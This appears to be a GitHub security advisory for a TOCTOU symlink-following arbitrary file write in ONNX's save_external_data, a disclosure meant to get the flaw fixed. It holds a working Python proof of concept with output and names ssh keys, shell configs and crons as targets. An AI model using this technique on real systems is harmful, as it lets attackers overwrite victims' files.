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ONNX: TOCTOU arbitrary file read/write in save_external_dat

High severity GitHub Reviewed Published Mar 31, 2026 in onnx/onnx

Package

pip onnx (pip)

Affected versions

<= 1.20.1

Patched versions

1.21.0

Description

Summary

The save_external_data method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.
Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope.
The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188

Details

TOCTOU

The vulnerable code pattern:

   # CHECK - Is this a file?
   if not os.path.isfile(external_data_file_path):
       # Line 228-229: USE #1 - Create if it doesn't exist
       with open(external_data_file_path, "ab"):
           pass
   
   # Open for writing
   with open(external_data_file_path, "r+b") as data_file:
       # Lines 233-243: Write tensor data
       data_file.seek(0, 2)
       if info.offset is not None:
           file_size = data_file.tell()
           if info.offset > file_size:
               data_file.write(b"\0" * (info.offset - file_size))
           data_file.seek(info.offset)
       offset = data_file.tell()
       data_file.write(tensor.raw_data)

There is a time gap between os.path.isfile and open with no atomic file creation flags (e.g. O_EXCEL | O_CREAT) allowing the attacker to create a symlink that is being followed (absence of O_NOFOLLOW), between these two calls. By combining these, the attack is possible as shown below in the PoC section.

Bypass

There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) alloing absolute paths like C:\ (only 1 part):

if location_path.is_absolute() and len(location_path.parts) > 1

This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).

PoC

Install the dependencies and run this:

mport os
import sys
import tempfile
import numpy as np
import onnx
from onnx import TensorProto, helper
from onnx.numpy_helper import from_array

# Create a temporary directory for our poc
with tempfile.TemporaryDirectory() as tmpdir:
    print(f"[*] Working directory: {tmpdir}")

    # Create a "sensitive" file that we'll overwrite
    sensitive_file = os.path.join(tmpdir, "sensitive.txt")
    with open(sensitive_file, 'w') as f:
        f.write("SENSITIVE DATA - DO NOT OVERWRITE")

    original_content = open(sensitive_file, 'rb').read()
    print(f"[*] Created sensitive file: {sensitive_file}")
    print(f"    Original content: {original_content}")

    # Create a simple ONNX model with a large tensor
    print("[*] Creating ONNX model with external data...")

    # Create a tensor with data > 1KB (to trigger external data)
    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor
    large_tensor = from_array(large_array, name='large_weight')

    # Create a minimal model
    model = helper.make_model(
        helper.make_graph(
            [helper.make_node('Identity', ['input'], ['output'])],
            'minimal_model',
            [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],
            [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],
            [large_tensor]
        )
    )

    # Save model with external data to create the external data file
    model_path = os.path.join(tmpdir, "model.onnx")
    external_data_name = "data.bin"
    external_data_path = os.path.join(tmpdir, external_data_name)

    onnx.save_model(
        model, 
        model_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=external_data_name,
        size_threshold=1024
    )

    print(f"[+] Model saved: {model_path}")
    print(f"[+] External data created: {external_data_path}")

    # Now comes the attack: replace the external data file with a symlink
    print("[!] ATTACK: Replacing external data file with symlink...")

    # Remove the legitimate external data file
    if os.path.exists(external_data_path):
        os.remove(external_data_path)
        print(f"    Removed: {external_data_path}")

    # Create symlink pointing to sensitive file
    os.symlink(sensitive_file, external_data_path)
    print(f"    Created symlink: {external_data_path} -> {sensitive_file}")

    # Now load and re-save the model, which will trigger the vulnerability
    print("Loading model and saving with external data...")
    try:
        # Load the model (without loading external data)
        loaded_model = onnx.load(model_path, load_external_data=False)

        # Modify the model slightly (to ensure we write new data)
        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()

        # Save again - this will call save_external_data() and follow the symlink
        onnx.save_model(
            loaded_model,
            model_path,
            save_as_external_data=True,
            all_tensors_to_one_file=True,
            location=external_data_name,
            size_threshold=1024
        )
    except Exception as e:
        print(f"[-] Error: {e}")
    
    # Check if the sensitive file was overwritten
    print("[*] Checking if sensitive file was modified...")
    modified_content = open(sensitive_file, 'rb').read()
    
    print(f"    Original size: {len(original_content)} bytes")
    print(f"    Current size:  {len(modified_content)} bytes")
    print(f"    Original content: {original_content[:50]}")
    print(f"    Current content:  {modified_content[:50]}...")
    print()
    
    if modified_content != original_content:
        print("[!] Success!")
    else:
        print("[-] Failure")

Output:

[*] Working directory: /tmp/tmpqy7z88_l
[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt
    Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'

[*] Creating ONNX model with external data...
[+] Model saved: /tmp/tmpqy7z88_l/model.onnx
[+] External data created: /tmp/tmpqy7z88_l/data.bin
[!] ATTACK: Replacing external data file with symlink...
    Removed: /tmp/tmpqy7z88_l/data.bin
    Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt
Loading model and saving with external data...
[*] Checking if sensitive file was modified...
    Original size: 33 bytes
    Current size:  40033 bytes
    Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
    Current content:  b'SENSITIVE DATA - DO NOT OVERWRITE\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00'...

Successfully overwritting the "sensitive data" file.

Impact

The impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.

Mitigations

  1. Atomic file creation
  2. Symlink protection
  3. Path canonicalization

References

@andife andife published to onnx/onnx Mar 31, 2026
Published to the GitHub Advisory Database Apr 1, 2026
Reviewed Apr 1, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

Time-of-check Time-of-use (TOCTOU) Race Condition

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-q56x-g2fj-4rj6

Source code

Credits

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